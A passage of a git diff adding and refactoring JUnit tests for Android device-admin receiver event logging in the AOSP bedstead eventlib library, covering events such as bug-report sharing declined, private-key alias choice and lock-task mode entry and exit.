+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminBugreportSharingDeclinedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEventTest.java
new file mode 100644
index 0000000..daa633f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEventTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminChoosePrivateKeyAliasEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final int UID = 1;
+    private static final int DIFFERENT_UID = 2;
+    private static final Uri URI = Uri.parse("http://uri.com");
+    private static final Uri DIFFERENT_URI = Uri.parse("http://uri.com");
+    private static final String ALIAS = "alias";
+    private static final String DIFFERENT_ALIAS = "alias2";
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, UID, URI, ALIAS).log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, UID, URI, ALIAS).log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, UID, URI, ALIAS).log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS).log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereUid_works() throws Exception {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereUid().isEqualTo(UID);
+
+        assertThat(eventLogs.poll().uid()).isEqualTo(UID);
+    }
+
+    @Test
+    public void whereUid_skipsNonMatching() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, DIFFERENT_UID, URI, ALIAS)
+                .log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereUid().isEqualTo(UID);
+
+        assertThat(eventLogs.poll().uid()).isEqualTo(UID);
+    }
+
+    @Test
+    public void whereUri_works() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereUri().isEqualTo(URI);
+
+        assertThat(eventLogs.poll().uri()).isEqualTo(URI);
+    }
+
+    @Test
+    public void whereUri_skipsNonMatching() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, DIFFERENT_URI, ALIAS)
+                .log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereUri().isEqualTo(URI);
+
+        assertThat(eventLogs.poll().uri()).isEqualTo(URI);
+    }
+
+    @Test
+    public void whereAlias_works() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereAlias().isEqualTo(ALIAS);
+
+        assertThat(eventLogs.poll().alias()).isEqualTo(ALIAS);
+    }
+
+    @Test
+    public void whereAlias_skipsNonMatching() {
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, DIFFERENT_ALIAS)
+                .log();
+        DeviceAdminChoosePrivateKeyAliasEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, UID, URI, ALIAS)
+                .log();
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName())
+                        .whereAlias().isEqualTo(ALIAS);
+
+        assertThat(eventLogs.poll().alias()).isEqualTo(ALIAS);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
index 8d611d8..bf2bd12 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminDisableRequestedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -57,8 +56,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
@@ -70,8 +68,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER,
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
index ba1e8b8..757cea7 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminDisabledEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -57,8 +56,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
@@ -70,8 +68,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
index d30956f..9e714b0 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminEnabledEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -57,8 +56,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminEnabledEvent> eventLogs =
@@ -70,8 +68,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEventTest.java
new file mode 100644
index 0000000..0290cb4
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminLockTaskModeEnteringEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final String PKG = "package";
+    private static final String DIFFERENT_PKG = "package2";
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminLockTaskModeEnteringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, PKG).log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminLockTaskModeEnteringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, PKG).log();
+        DeviceAdminLockTaskModeEnteringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, PKG).log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG).log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void wherePkg_works() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .wherePkg().isEqualTo(PKG);
+
+        assertThat(eventLogs.poll().pkg()).isEqualTo(PKG);
+    }
+
+    @Test
+    public void wherePkg_skipsNonMatching() {
+        DeviceAdminLockTaskModeEnteringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, DIFFERENT_PKG)
+                .log();
+        DeviceAdminLockTaskModeEnteringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, PKG)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName())
+                        .wherePkg().isEqualTo(PKG);
+
+        assertThat(eventLogs.poll().pkg()).isEqualTo(PKG);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEventTest.java
new file mode 100644
index 0000000..527ad0e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEventTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
